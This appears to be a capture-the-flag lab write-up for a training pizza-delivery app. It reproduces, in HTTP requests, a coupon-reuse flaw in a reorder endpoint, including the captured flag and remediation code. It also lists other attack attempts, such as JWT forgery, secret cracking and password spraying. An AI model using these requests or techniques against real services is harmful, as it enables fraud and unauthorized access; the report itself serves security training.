Cheesy Does It: Single-Use Coupon Reuse via Reorder
Part 1: Pentest Report
Executive Summary
“Cheesy Does It” is a premium-pizza-delivery web application: a React single-page frontend over a JSON REST API under /api/*, with JWT (HS256) bearer authentication and server-side role derivation. The engagement set out to find the designed vulnerability and capture the flag. Every standard authentication, injection, and object-authorization vector was well defended; the finding is a business-logic flaw in the order-reorder workflow.
Testing confirmed 1 finding:
| ID | Title | Severity | CVSS | CWE | Endpoint |
|---|---|---|---|---|---|
| F1 | Single-use coupon reused via the reorder endpoint | Medium | 4.3 | CWE-841, CWE-837 | POST /api/orders/{id}/reorder |
The reorder endpoint accepts a coupon code supplied by the client and re-applies it without re-running the eligibility check that primary checkout enforces. The FOUNDERS20 new-customer promotion, restricted to a customer’s first order at checkout, can be applied again on any repeat order through reorder, an unlimited number of times. The application tracks this abuse with a coupon_reused state flag and returns the flag inline the moment that flag flips true.
Objective
Identify the designed vulnerability in an easy-rated BugForge web application and capture the flag, working from an unauthenticated starting position with open self-service registration.
Scope / Initial Access
# Target Application
URL: https://lab-1783977968312-unfg6u.labs-app.bugforge.io/
# Auth details
Registration: POST /api/register (open, self-service) -> {token, user}
Session: JWT HS256, Bearer token in localStorage.token
JWT payload: {id, username, iat} only (NO role claim)
Role source: server derives role + loyalty_points from DB by id
Start privs: standard "user" role (self-registered account)
The lab is provisioned as a short-lived, per-instance deployment and was redeployed several times during testing. The URL above is the instance assigned at the start of the engagement; the reproduction blocks below were captured against a later instance of the same target (lab-1783993458398-vdwoqt.labs-app.bugforge.io).
The JWT carries only id, username, and iat. The server derives the account’s role and loyalty balance from the database using the id, so the token itself exposes no privilege field to tamper with. The /admin route in the frontend is gated on user.role === "admin" on the client only; backend enforcement was tested separately (see Failed Approaches).
Reconnaissance: Reading the React Bundle
The application ships a single unminified-enough JavaScript bundle (/static/js/main.18994b2a.js) whose axios instance exposes the full endpoint-and-verb matrix. Mapping the client’s API calls gave the complete surface without guessing, which shaped the test plan below.
- The JWT payload is
{id, username, iat}with no role claim, so vertical privilege escalation would need either a forged token accepted by the server or a server-side role lookup that could be influenced. This motivated the JWT forging and mass-assignment probes. - Every response carried
access-control-allow-origin: *, and role plus loyalty balance are resolved server-side byid. Client-side privilege data is therefore advisory only. - The order-creation flow is multi-step:
POST /api/payment/validatethenPOST /api/payment/processmint apayment_token, whichPOST /api/ordersthen consumes. Order total is recomputed server-side and checked against the paid amount. - Alongside primary checkout, the bundle exposes a convenience endpoint,
POST /api/orders/{id}/reorder, that re-creates a prior order. Convenience endpoints that re-create state are prime candidates for skipping a guard the primary flow enforces, which became the winning line of inquiry.
Application Architecture
| Component | Detail |
|---|---|
| Frontend | React single-page application, single bundle /static/js/main.18994b2a.js (axios instance for all API calls) |
| Backend | JSON REST API under /api/* (Node/Express-style, inferred from the JSON error format; not confirmed) |
| Auth | JWT HS256, Authorization: Bearer from localStorage.token; payload {id, username, iat}; role resolved server-side by id |
| Database | SQL-backed; integer boolean flags observed on records (for example is_active:1) |
API Surface (relevant subset)
| Endpoint | Method | Auth | Notes |
|---|---|---|---|
| /api/register | POST | No | Open self-service; returns {token, user} |
| /api/verify-token | GET | Yes | Returns {user:{...,role,loyalty_points}} |
| /api/payment/validate | POST | Yes | Returns payment_token |
| /api/payment/process | POST | Yes | Completes the payment session |
| /api/orders | POST | Yes | Creates an order; server recomputes total vs paid amount |
| /api/orders/{id} | GET | Yes | Ownership-scoped |
| /api/orders/{id}/reorder | POST | Yes | Re-creates an order; re-applies a client-supplied coupon (F1) |
| /api/coupons/apply | POST | Yes | Applies a coupon at checkout (eligibility enforced) |
| /api/admin/* | GET/POST/PUT/DELETE | Yes (admin) | Backend role check enforced (403 for non-admin) |
Known Users
| Username | ID | Role |
|---|---|---|
| our test account | 20 | user (self-registered) |
| seeded accounts | lower ids | not enumerated; an admin account was confirmed to exist through the login flow |
Attack Chain Visualization
┌───────────────┐ ┌───────────────┐ ┌───────────────┐ ┌────────────────────┐
│ Register │ │ Mock payment │ │ Seed order │ │ Reorder + coupon │
│ open self- │──▶│ validate + │──▶│ we own │──▶│ FOUNDERS20 in body │
│ service JWT │ │ process │ │ (id 62) │ │ coupon_reused=true │
└───────────────┘ └───────────────┘ └───────────────┘ └─────────┬──────────┘
│
▼
┌────────────────────┐
│ flag returned │
│ inline, total 8.79 │
└────────────────────┘
Findings
F1: Single-use coupon reused via the reorder endpoint
Severity: Medium
CVSS v3.1: 4.3 (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N)
CWE: CWE-841 (Improper Enforcement of Behavioral Workflow), CWE-837 (Improper Enforcement of a Single, Unique Action)
Endpoint: POST /api/orders/{id}/reorder
Authentication required: Yes (any self-registered user, owning the referenced order)
Description
Primary checkout enforces the FOUNDERS20 promotion as a first-order-only, single-use new-customer discount. The reorder handler accepts a coupon_code in the request body and re-applies it when re-creating the order, without re-running that eligibility check.
The result is observable in the response envelope. A reorder with no coupon returns coupon_reused:false and total:10.99 (the full price). The same reorder with {"coupon_code":"FOUNDERS20"} returns coupon_reused:true, coupon_discount:2.2, total:8.79, and the flag inline. Only a valid-but-ineligible coupon triggers the reuse; an invalid code returns “Invalid or inactive coupon code”. The path is ownership-scoped (reorder of an order you do not own returns 404) but otherwise unlimited: every reorder plus FOUNDERS20 re-applies the discount.
Impact
Could negatively affect the business bottom line by letting any customer re-apply a one-time new-customer discount on unlimited repeat orders.
Reproduction
Step 1: Register a new account
POST /api/register HTTP/2
Host: lab-1783993458398-vdwoqt.labs-app.bugforge.io
Content-Type: application/json
{"username":"kc28856","email":"[email protected]","password":"Passw0rd!1","full_name":"P","phone":"5551234567","address":"12 Forge Road"}
Response: {"token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...","user":{"id":20,...}}. The bearer token from this response is used as Authorization: Bearer <token> on every request below.
Step 2: Validate payment to obtain a payment token
POST /api/payment/validate HTTP/2
Host: lab-1783993458398-vdwoqt.labs-app.bugforge.io
Authorization: Bearer <token>
Content-Type: application/json
{"card_number":"4444 4444 4444 4444","exp_month":"12","exp_year":"25","cvv":"123","amount":10.99}
Response: {"valid":true,"message":"Card validated successfully","payment_token":"212dc020-f3be-466f-978e-604b00958c2e"}. Payment is mocked; the returned payment_token is required by the order call.
Step 3: Process payment to complete the session
POST /api/payment/process HTTP/2
Host: lab-1783993458398-vdwoqt.labs-app.bugforge.io
Authorization: Bearer <token>
Content-Type: application/json
{"card_number":"4444 4444 4444 4444","exp_month":"12","exp_year":"25","cvv":"123","amount":10.99,"payment_token":"212dc020-f3be-466f-978e-604b00958c2e"}
Response: {"success":true,"transaction_id":"TXN-1783995976827",...}. The payment session is now complete for that token.
Step 4: Place one legitimate order we own (seed)
POST /api/orders HTTP/2
Host: lab-1783993458398-vdwoqt.labs-app.bugforge.io
Authorization: Bearer <token>
Content-Type: application/json
{"items":[{"pizza_name":"Classic Margherita","base_name":"Thin Crust","sauce_name":"Classic Tomato","size":"Medium","toppings":[],"quantity":1,"unit_price":10.99,"total_price":10.99,"id":1}],"delivery_address":"12 Forge Road","phone":"5551234567","payment_method":"card","notes":"","payment_token":"212dc020-f3be-466f-978e-604b00958c2e","coupon_code":null,"points_to_use":0}
Response: {"id":62,"order_number":"CDI-1783995977002-OWOMC948D","status":"received","subtotal":10.99,"coupon_discount":0,"total":10.99,...}. The order id (62) is the target of the reorder.
Step 5: Reorder with the first-order-only coupon in the body
POST /api/orders/62/reorder HTTP/2
Host: lab-1783993458398-vdwoqt.labs-app.bugforge.io
Authorization: Bearer <token>
Content-Type: application/json
{"coupon_code":"FOUNDERS20"}
Response:
{"id":63,"order_number":"CDI-1783995977204-X93DRM7RY","message":"Reorder placed successfully — promo applied","status":"received","subtotal":10.99,"coupon_code":"FOUNDERS20","coupon_discount":2.2,"coupon_reused":true,"points_earned":8,"total":8.79,"flag":"bug{goKwwDOOSwWb0tUoglPQkvOKNQwBBOsR}"}
The single-use promotion is re-applied on a repeat order: coupon_reused:true, total drops from 10.99 to 8.79, and the flag is returned inline. The reorder body carries only the coupon code and no payment_token; unlike the initial order in Step 4, the reorder path does not require a fresh payment token.
Flag: bug{goKwwDOOSwWb0tUoglPQkvOKNQwBBOsR}
Remediation
Fix 1: Re-run coupon eligibility in the reorder path
The reorder handler applies a coupon without the eligibility gate that primary checkout runs. Route every order-creating path through the same eligibility check.
// BEFORE (Vulnerable): reorder re-applies whatever coupon the client sends
async function reorder(req, res) {
const order = await getOrder(req.params.id, req.user.id); // ownership OK
const { coupon_code } = req.body;
let discount = 0;
if (coupon_code) {
const coupon = await getCoupon(coupon_code);
discount = applyCoupon(coupon, order.subtotal); // no eligibility re-check
}
// ... creates a new order with the discount applied
}
// AFTER (Secure): same eligibility rules as primary checkout
async function reorder(req, res) {
const order = await getOrder(req.params.id, req.user.id);
const { coupon_code } = req.body;
let discount = 0;
if (coupon_code) {
const coupon = await getCoupon(coupon_code);
// enforce first-order / single-use / per-user redemption limits
await assertCouponEligible(coupon, req.user.id);
discount = applyCoupon(coupon, order.subtotal);
}
// ...
}
Additional recommendations:
- Centralize coupon eligibility in one function that every order-creating endpoint (checkout, reorder, any future clone/retry path) must call. Duplicated discount logic is what let one path drift out of sync with the guard.
- Record coupon redemptions per user server-side and enforce the single-use / first-order limit against that record, not against transient request state.
- Do not return internal state flags (such as
coupon_reused) to the client. They name the guarded code path for an attacker.
OWASP Top 10 Coverage
- A04:2021 Insecure Design: The single-use constraint on the
FOUNDERS20promotion is enforced at primary checkout but not in the reorder path, a workflow-design gap rather than a coding bug in either handler alone. The matching OWASP API risk is API6:2023 Unrestricted Access to Sensitive Business Flows: the reorder flow re-creates a discounted order without the business rule that makes the discount single-use.
Tools Used
| Tool | Purpose |
|---|---|
| curl | Manual API requests and the reproduction chain (HTTP/2) |
| React bundle / source review | Mapping the full endpoint-and-verb API surface from main.js |
| jwtforge | JWT forging attempts (alg:none, id substitution) |
| hashcat | Attempted HS256 secret recovery (rockyou plus JWT and themed wordlists) |
References
- CWE-841: Improper Enforcement of Behavioral Workflow: https://cwe.mitre.org/data/definitions/841.html
- CWE-837: Improper Enforcement of a Single, Unique Action: https://cwe.mitre.org/data/definitions/837.html
- OWASP Top 10 2021 A04: Insecure Design: https://owasp.org/Top10/A04_2021-Insecure_Design/
- OWASP API Security Top 10 2023 API6: Unrestricted Access to Sensitive Business Flows: https://owasp.org/API-Security/editions/2023/en/0xa6-unrestricted-access-to-sensitive-business-flows/
Part 2: Notes / Knowledge
Key Learnings
-
Read the full response envelope for server-volunteered state-flags, and trigger any that default to the safe value. When a response carries a boolean or status field the client never sent (names like
*_reused,*_applied,*_verified,*_granted,is_*) sitting at its safe default, treat it as the server advertising a guarded code path rather than a passive fact to log and move on. Here,coupon_reused:falseappeared on the first plain reorder; it names the exact condition the reorder handler tracks, and supplying the matching input (coupon_codein the body) flipped it totrueand delivered the flag inline. The server only tracks a state because some path can reach it, so the field name is effectively a label for the exploit. -
Feed the primary flow’s parameters into convenience and duplicate endpoints, and test each guard independently there. Endpoints added for convenience (reorder, clone, duplicate, retry, “buy again,” import-from) re-create the primary object but frequently omit the primary flow’s re-validation. Send the core flow’s inputs (coupon code, points, amount, price, item overrides) into the shortcut’s body and check whether each eligibility, pricing, and authorization guard the primary flow enforces is re-run, probing the input space as a batch rather than one guessed payload. In this engagement, checkout enforced
FOUNDERS20as first-order-only while the reorder path re-applied a coupon supplied by the client with no eligibility re-check, giving unlimited reuse. The same class covers price integrity, quantity and limit bypasses, and authorization drift on the duplicate path.
Failed Approaches
| Approach | Result | Why It Failed |
|---|---|---|
Broken function-level authorization on /api/admin/* (all verbs) |
403 “Admin access required” | Backend re-checks role on admin routes; the client-side gate is not the only control |
JWT alg:none and forged tokens |
“Invalid token” | Server rejects unsigned tokens |
| HS256 secret cracking | Uncracked | Secret not in rockyou, jwt-common, or 48 themed candidates |
Header-based admin bypass (X-Role, X-Admin, X-Forwarded-*) |
403 | Role not taken from client headers |
| Mass assignment on register and PUT profile (20 privilege field names) | Role stays “user” | Input whitelisted server-side |
| SQL injection / SSTI on login, coupon, review, ticket fields | No injection | Parameterized queries; inputs treated as literals |
| Admin password spray | Rate-limited (~10 tries then “Too many”) | Login throttling; admin account exists but not guessed |
| Object-level authorization on orders and tickets (cross-user read); cross-user reorder | 404 | Ownership enforced on read and on reorder |
| Price and points manipulation at checkout | Rejected | Server recomputes total from item names and toppings and enforces calculated == paid; points overspend and negative values blocked |
File upload on /api/reviews/{id}/photo (html/svg/php) |
Rejected | Real image-content validation |
Replicating order placement with a pizza_id-plus-full-object item body |
Request hung 55 to 90 seconds, order row committed without items | Wrong item schema; correct schema is {pizza_name, base_name, sauce_name, size, toppings:[names], quantity, unit_price, total_price, id} |
Tags: #business-logic #coupon-reuse #reorder #insecure-design #bugforge
Document Version: 1.0
Last Updated: 2026-07-14